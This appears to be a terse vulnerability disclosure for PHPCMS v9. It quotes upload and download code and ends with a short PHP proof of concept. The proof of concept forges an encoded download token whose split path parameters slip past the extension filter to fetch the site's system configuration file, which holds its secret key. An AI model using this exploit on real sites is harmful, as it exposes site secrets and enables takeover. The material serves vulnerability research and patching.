PHPCMS某处设计缺陷可致authkey泄露

function initupload($module, $catid,$args, $userid, $groupid = ‘8‘, $isadmin = ‘0‘,$userid_flash=‘0‘){
		$grouplist = getcache(‘grouplist‘,‘member‘);
		if($isadmin==0 && !$grouplist[$groupid][‘allowattachment‘]) return false;
		extract(getswfinit($args));
		$siteid = param::get_cookie(‘siteid‘);
		$site_setting = get_site_setting($siteid);
		$file_size_limit = $site_setting[‘upload_maxsize‘];
		$sess_id = SYS_TIME;
		$admin_url = pc_base::load_config(‘system‘,‘admin_url‘);
		$upload_path = empty($admin_url) ? APP_PATH : ‘http://‘.$admin_url.‘/‘;
		$swf_auth_key = md5(pc_base::load_config(‘system‘,‘auth_key‘).$sess_id);
		$init =  ‘var swfu = \‘\‘;
		$(document).ready(function(){
		swfu = new SWFUpload({
			flash_url:"‘.JS_PATH.‘swfupload/swfupload.swf?"+Math.random(),
			upload_url:"‘.$upload_path.‘index.php?m=attachment&c=attachments&a=swfupload&dosubmit=1",
			file_post_name : "Filedata",
			post_params:{"SWFUPLOADSESSID":"‘.$sess_id.‘","module":"‘.$module.‘","catid":"‘.$_GET[‘catid‘].‘","userid":"‘.$userid.‘","siteid":"‘.$siteid.‘","dosubmit":"1","thumb_width":"‘.$thumb_width.‘","thumb_height":"‘.$thumb_height.‘","watermark_enable":"‘.$watermark_enable.‘","filetype_post":"‘.$file_types_post.‘","swf_auth_key":"‘.$swf_auth_key.‘","isadmin":"‘.$isadmin.‘","groupid":"‘.$groupid.‘","userid_flash":"‘.$userid_flash.‘"},
			file_size_limit:"‘.$file_size_limit.‘",
			file_types:"‘.$file_types.‘",
			file_types_description:"All Files",
			file_upload_limit:"‘.$file_upload_limit.‘",
			custom_settings : {progressTarget : "fsUploadProgress",cancelButtonId : "btnCancel"},
	 
			button_image_url: "",
			button_width: 75,
			button_height: 28,
			button_placeholder_id: "buttonPlaceHolder",
			button_text_style: "",
			button_text_top_padding: 3,
			button_text_left_padding: 12,
			button_window_mode: SWFUpload.WINDOW_MODE.TRANSPARENT,
			button_cursor: SWFUpload.CURSOR.HAND,

			file_dialog_start_handler : fileDialogStart,
			file_queued_handler : fileQueued,
			file_queue_error_handler:fileQueueError,
			file_dialog_complete_handler:fileDialogComplete,
			upload_progress_handler:uploadProgress,
			upload_error_handler:uploadError,
			upload_success_handler:uploadSuccess,
			upload_complete_handler:uploadComplete
			});
		})‘;
		return $init;
	}	

	public function download() {
		$a_k = trim($_GET[‘a_k‘]);
		$pc_auth_key = md5(pc_base::load_config(‘system‘,‘auth_key‘).$_SERVER[‘HTTP_USER_AGENT‘]);
		$a_k = sys_auth($a_k, ‘DECODE‘, $pc_auth_key);
		if(empty($a_k)) showmessage(L(‘illegal_parameters‘));
		unset($i,$m,$f,$t,$ip);
		parse_str($a_k);		
		if(isset($i)) $downid = intval($i);
		if(!isset($m)) showmessage(L(‘illegal_parameters‘));
		if(!isset($modelid)) showmessage(L(‘illegal_parameters‘));
		if(empty($f)) showmessage(L(‘url_invalid‘));
		if(!$i || $m<0) showmessage(L(‘illegal_parameters‘));
		if(!isset($t)) showmessage(L(‘illegal_parameters‘));
		if(!isset($ip)) showmessage(L(‘illegal_parameters‘));
		$starttime = intval($t);
		if(preg_match(‘/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i‘,$f) || strpos($f, ":\\")!==FALSE || strpos($f,‘..‘)!==FALSE) showmessage(L(‘url_error‘));
		$fileurl = trim($f);
		if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L(‘illegal_parameters‘));	
		$endtime = SYS_TIME - $starttime;
		if($endtime > 3600) showmessage(L(‘url_invalid‘));
		if($m) $fileurl = trim($s).trim($fileurl);
		//远程文件
		if(strpos($fileurl, ‘:/‘) && (strpos($fileurl, pc_base::load_config(‘system‘,‘upload_url‘)) === false)) { 
			header("Location: $fileurl");
		} else {
			if($d == 0) {
				header("Location: ".$fileurl);
			} else {
				$fileurl = str_replace(array(pc_base::load_config(‘system‘,‘upload_url‘),‘/‘), array(pc_base::load_config(‘system‘,‘upload_path‘),DIRECTORY_SEPARATOR), $fileurl);
				$filename = basename($fileurl);
				//处理中文文件
				if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
					$filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
					$filename = urldecode(basename($filename));
				}
				$ext = fileext($filename);
				$filename = date(‘Ymd_his‘).random(3).‘.‘.$ext;
				file_down($fileurl, $filename);
			}
		}
	}

<?php 
include ‘/Applications/MAMP/htdocs/phpcms_v9.5.8/phpsso_server/phpcms/libs/functions/global.func.php‘;
echo sys_auth(‘i=3&d=1&t=9999999999&ip=127.0.0.1&m=3&modelid=3&s=caches/configs/system.p&f=hp‘, ‘ENCODE‘, ‘12d92ed5288d3779cbbc21050a2872c7‘);
?>